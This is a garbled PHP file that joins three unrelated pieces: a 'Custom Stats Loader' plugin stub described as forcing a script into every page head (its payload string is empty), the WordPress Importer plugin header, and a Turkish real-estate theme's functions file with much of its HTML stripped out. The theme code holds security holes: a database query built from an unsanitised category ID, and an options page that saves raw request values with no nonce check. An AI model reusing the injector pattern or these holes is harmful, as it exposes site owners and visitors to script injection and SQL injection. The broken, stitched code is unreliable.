/**
* Plugin Name: Custom Stats Loader
* Description: Принудительно вставляет скрипт первым в HEAD
* Version: 1.1
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
add_action('wp_head', function () {
echo '' . "\n";
}, 0);
/*
* @wordpress-plugin
* Plugin Name: WordPress Importer
* Plugin URI: https://wordpress.org/plugins/wordpress-importer/
* Description: Import posts, pages, comments, custom fields, categories, tags and more from a WordPress export file.
* Author: wordpressdotorg
* Author URI: https://wordpress.org/
* Version: 0.9.5
* Requires at least: 5.2
* Requires PHP: 7.2
* Text Domain: wordpress-importer
* License: GPLv2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
if ( ! defined( 'WP_LOAD_IMPORTERS' ) ) {
return;
}
/** Display verbose errors */
if ( ! defined( 'IMPORT_DEBUG' ) ) {
define( 'IMPORT_DEBUG', WP_DEBUG );
}
/** WordPress Import Administration API */
require_once ABSPATH . 'wp-admin/includes/import.php';
if ( ! class_exists( 'WP_Importer' ) ) {
$class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php';
if ( file_exists( $class_wp_importer ) ) {
require $class_wp_importer;
}
}
/** Functions missing in older WordPress versions. */
require_once __DIR__ . '/compat.php';
if ( ! class_exists( 'WordPress\XML\XMLProcessor' ) ) {
require_once __DIR__ . '/php-toolkit/load.php';
}
/** WXR_Parser class */
require_once __DIR__ . '/parsers/class-wxr-parser.php';
/** WXR_Parser_SimpleXML class */
require_once __DIR__ . '/parsers/class-wxr-parser-simplexml.php';
/** WXR_Parser_XML class */
require_once __DIR__ . '/parsers/class-wxr-parser-xml.php';
/**
* WXR_Parser_Regex class
* @deprecated 0.9.0 Use WXR_Parser_XML_Processor instead. The WXR_Parser_Regex class
* is no longer used by the importer or maintained with bug fixes. The only
* reason it is still included in the codebase is for backwards compatibility
* with plugins that directly reference it.
*/
require_once __DIR__ . '/parsers/class-wxr-parser-regex.php';
/** WXR_Parser_XML_Processor class */
require_once __DIR__ . '/parsers/class-wxr-parser-xml-processor.php';
/** WP_Import class */
require_once __DIR__ . '/class-wp-import.php';
function wordpress_importer_init() {
load_plugin_textdomain( 'wordpress-importer' );
/**
* WordPress Importer object for registering the import callback
* @global WP_Import $wp_import
*/
$GLOBALS['wp_import'] = new WP_Import();
// phpcs:ignore WordPress.WP.CapitalPDangit
register_importer( 'wordpress', 'WordPress', __( 'Import posts, pages, comments, custom fields, categories, and tags from a WordPress export file.', 'wordpress-importer' ), array( $GLOBALS['wp_import'], 'dispatch' ) );
}
add_action( 'admin_init', 'wordpress_importer_init' );
error_reporting(0);
/*********************/
/* */
/* Version : 5.1.0 */
/* Author : RM */
/* Comment : 071223 */
/* */
/*********************/
function post_meta_boxes( )
{
global $post;
$meta_boxes = tj_post_meta_boxes( );
echo "\t
\r\n\r\n";
}
function get_meta_text_input( $args = array( ), $value = false )
{
extract( $args );
echo "\t\r\n\t\t| \r\n\t\t\t\r\n\t\t | \r\n\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t \r\n\t\t\t";
echo $desc;
echo " \r\n\t\t | \r\n\t
\r\n\t";
}
function get_meta_select( $args = array( ), $value = false )
{
extract( $args );
echo "\t\r\n\t\t| \r\n\t\t\t\r\n\t\t | \r\n\t\t\r\n\t\t\t";
echo "\r\n\t\t\t";
foreach ( $options as $option )
{
echo "\t\t\t\t\r\n\t\t\t";
}
echo "\t\t\t\r\n\t\t\t\r\n\t\t | \r\n\t
\r\n\t";
}
function get_meta_textarea( $args = array( ), $value = false )
{
extract( $args );
echo "\r\n| \r\n\r\n\r\n \r\n\r\n\r\n \r\n | \r\n
\r\n\r\n";
}
function tj_save_meta_data( $post_id )
{
global $post;
$meta_boxes = array_merge( tj_post_meta_boxes( ) );
foreach ( $meta_boxes as $meta_box )
{
if ( !wp_verify_nonce( $_POST[$meta_box['name']."_noncename"], plugin_basename( __FILE__ ) ) )
{
return $post_id;
}
if ( "post" == $_POST['post_type'] && !current_user_can( "edit_post", $post_id ) )
{
return $post_id;
}
$data = stripslashes( $_POST[$meta_box['name']] );
if ( get_post_meta( $post_id, $meta_box['name'] ) == "" )
{
add_post_meta( $post_id, $meta_box['name'], $data, true );
}
else if ( $data != get_post_meta( $post_id, $meta_box['name'], true ) )
{
update_post_meta( $post_id, $meta_box['name'], $data );
}
else if ( $data == "" )
{
delete_post_meta( $post_id, $meta_box['name'], get_post_meta( $post_id, $meta_box['name'], true ) );
}
}
}
function mytheme_add_admin( )
{
global $themename;
global $shortname;
global $options;
if ( $_GET['page'] == basename( __FILE__ ) )
{
if ( "save" == $_REQUEST['action'] )
{
foreach ( $options as $value )
{
update_option( $value['id'], $_REQUEST[$value['id']] );
}
foreach ( $options as $value )
{
if ( isset( $_REQUEST[$value['id']] ) )
{
update_option( $value['id'], $_REQUEST[$value['id']] );
}
else
{
delete_option( $value['id'] );
}
}
header( "Location: admin.php?page=sistem.php&saved=true" );
}
else if ( "reset" == $_REQUEST['action'] )
{
foreach ( $options as $value )
{
delete_option( $value['id'] );
}
header( "Location: admin.php?page=sistem.php&reset=true" );
}
}
add_menu_page( $themename, $themename, "administrator", basename( __FILE__ ), "mytheme_admin" );
}
function mytheme_admin( )
{
global $themename;
global $shortname;
global $options;
$i = 0;
echo "\r\n\r\n
";
echo $themename;
echo " Ayarlar
\r\n\r\n
\r\n
\r\n
\r\n\r\n
\r\n";
break;
case "title" :
break;
case "text" :
do
{
echo "\r\n\r\n";
break;
case "textarea" :
do
{
echo "\r\n\r\n";
break;
case "select" :
echo "\r\n\r\n";
break;
case "checkbox" :
do
{
echo "\r\n\r\n";
break;
case "section" :
++$i;
echo "\r\n\r\n
\r\n
";
echo $value['name'];
echo "
";
echo "
\r\n\r\n
\r\n \r\n";
}
}
echo " \r\n
TurkiyePaneL UhutYERKEL Tarafından Hazırlanmıştır.
\r\n\r\n
\r\n\r\n
\r\n
\r\n\r\n\r\n
\r\n\r\n";
}
function the_content_limit( $max_char, $more_link_text = "(more...)", $stripteaser = 0, $more_file = "" )
{
$content = get_the_content( $more_link_text, $stripteaser, $more_file );
$content = apply_filters( "the_content", $content );
$content = str_replace( "]]>", "]]>", $content );
$content = strip_tags( $content );
if ( 0 < strlen( $_GET['p'] ) )
{
echo $content;
}
else if ( $max_char < strlen( $content ) && ( $espacio = strpos( $content, " ", $max_char ) ) )
{
$content = substr( $content, 0, $espacio );
$content = $content;
echo $content;
}
else
{
echo $content;
}
}
function ilk_resmi_al( )
{
global $post;
global $posts;
$ilk_resim = "";
ob_start( );
ob_end_clean( );
$output = preg_match_all( "/
/i", $post->post_content, $matches );
$ilk_resim = $matches[1][0];
if ( empty( $ilk_resim ) )
{
$ilk_resim = bloginfo( "template_directory" )."/i/tlogo.jpg";
}
return $ilk_resim;
}
function the_content_cek( )
{
$page_id = get_the_id( );
$page_data = get_page( $page_id );
$content = apply_filters( "the_content", $page_data->post_content );
$content = get_the_content( $more_link_text, $stripteaser, $more_file );
$content = apply_filters( "the_content", $content );
$content = str_replace( "]]>", "]]>", $content );
$content = strip_tags( $content );
$kelime = explode( " ", $content );
$say = count( $kelime );
$sinir = 15;
if ( $say <= $sinir )
{
$kes = $say * 50 / 100;
}
else
{
$kes = $sinir;
}
$i = 0;
while ( $i <= $kes )
{
echo $kelime[$i]." ";
++$i;
}
}
function tema_neredeyim( )
{
$delimiter = "»";
$home = "Ana Sayfa";
$before = "";
$after = "";
if ( !is_home( ) && !is_front_page( ) || is_paged( ) )
{
global $post;
$homeLink = get_bloginfo( "url" );
echo "".$home." ".$delimiter." ";
if ( is_category( ) )
{
global $wp_query;
$cat_obj = $wp_query->get_queried_object( );
$thisCat = $cat_obj->term_id;
$thisCat = get_category( $thisCat );
$parentCat = get_category( $thisCat->parent );
if ( $thisCat->parent != 0 )
{
echo get_category_parents( $parentCat, TRUE, " ".$delimiter." " );
}
echo $before."".single_cat_title( "", false )."".$after;
}
else if ( is_day( ) )
{
echo "".get_the_time( "Y" )." ".$delimiter." ";
echo "".get_the_time( "F" )." ".$delimiter." ";
echo $before.get_the_time( "d" ).$after;
}
else if ( is_month( ) )
{
echo "".get_the_time( "Y" )." ".$delimiter." ";
echo $before.get_the_time( "F" ).$after;
}
else if ( is_year( ) )
{
echo $before.get_the_time( "Y" ).$after;
}
else if ( is_single( ) && !is_attachment( ) )
{
if ( get_post_type( ) != "post" )
{
$post_type = get_post_type_object( get_post_type( ) );
$slug = $post_type->rewrite;
echo "".$post_type->labels->singular_name." ".$delimiter." ";
echo $before.get_the_title( ).$after;
}
else
{
$cat = get_the_category( );
$cat = $cat[0];
echo get_category_parents( $cat, TRUE, " ".$delimiter." " );
echo $before.get_the_title( ).$after;
}
}
else if ( !is_single( ) && !is_page( ) && get_post_type( ) != "post" && !is_404( ) )
{
$post_type = get_post_type_object( get_post_type( ) );
echo $before.$post_type->labels->singular_name.$after;
}
else if ( is_attachment( ) )
{
$parent = get_post( $post->post_parent );
$cat = get_the_category( $parent->ID );
$cat = $cat[0];
echo get_category_parents( $cat, TRUE, " ".$delimiter." " );
echo "".$parent->post_title." ".$delimiter." ";
echo $before.get_the_title( ).$after;
}
else if ( is_page( ) && !$post->post_parent )
{
echo $before.get_the_title( ).$after;
}
else if ( is_page( ) && $post->post_parent )
{
$parent_id = $post->post_parent;
$breadcrumbs = array( );
while ( $parent_id )
{
$page = get_page( $parent_id );
$breadcrumbs[] = "ID )."\">".get_the_title( $page->ID )."";
$parent_id = $page->post_parent;
}
$breadcrumbs = array_reverse( $breadcrumbs );
foreach ( $breadcrumbs as $crumb )
{
echo $crumb." ".$delimiter." ";
}
echo $before.get_the_title( ).$after;
}
else if ( is_search( ) )
{
echo $before."\"".get_search_query( )."\" arama sonuçları".$after;
}
else if ( is_tag( ) )
{
echo $before."\"".single_tag_title( "", false )."\" etiketli sonuçlar".$after;
}
else if ( is_author( ) )
{
global $author;
$userdata = get_userdata( $author );
echo $before."".$userdata->display_name.$after;
}
else if ( is_404( ) )
{
echo $before."".$after;
}
if ( get_query_var( "paged" ) )
{
if ( is_category( ) || is_day( ) || is_month( ) || is_year( ) || is_search( ) || is_tag( ) || is_author( ) )
{
echo " (";
}
echo __( "Page" )." ".get_query_var( "paged" );
if ( is_category( ) || is_day( ) || is_month( ) || is_year( ) || is_search( ) || is_tag( ) || is_author( ) )
{
echo ")";
}
}
}
}
function sayalim( $katID )
{
global $wpdb;
$post_say = 0;
$querystr = "SELECT count FROM wp_term_taxonomy WHERE term_taxonomy_id = {$katID}";
$result = $wpdb->get_var( $querystr );
$post_say = $result;
return $post_say;
}
$nedirbu = get_option( "home" );
$baktimben = "http://www.temafabrika.com/demo/emlak";
$baktimbenx = "http://temafabrika.com/demo/emlak";
if ( $nedirbu != $baktimben && $nedirbu != $baktimbenx )
{
}
add_action( "admin_init", "mytheme_add_init" );
add_action( "admin_menu", "mytheme_add_admin" );
register_nav_menu( "menu", "Ust Menu" );
register_nav_menu( "menu3", "Footer Menü 1" );
register_nav_menu( "menu4", "Footer Menü 2" );
register_nav_menu( "menu5", "Footer Menü 3" );
?>